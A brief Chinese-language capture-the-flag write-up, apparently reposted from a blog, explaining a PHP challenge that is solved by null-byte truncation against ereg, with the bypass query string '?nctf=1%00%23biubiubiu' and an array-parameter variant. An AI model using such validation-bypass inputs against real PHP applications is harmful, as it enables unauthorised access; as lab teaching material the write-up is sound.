/x00


view-source:

    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
            echo '必须输入数字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
            die('Flag: '.$flag);
        else
            echo '骚年,继续努力吧啊~';
    }

这是源码
nctf这是php的接受值
(@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE
规定此值内必须有数字
strpos ($_GET['nctf'], '#biubiubiu'
规定此值内含有#biubiubiu'
看似矛盾
所以这里用%00进行字符串的截断
?nctf=1%00%23biubiubiu

得到flag

如:nctf[]=1.#biubiubiu

原文地址:https://www.cnblogs.com/maodun/p/6916301.html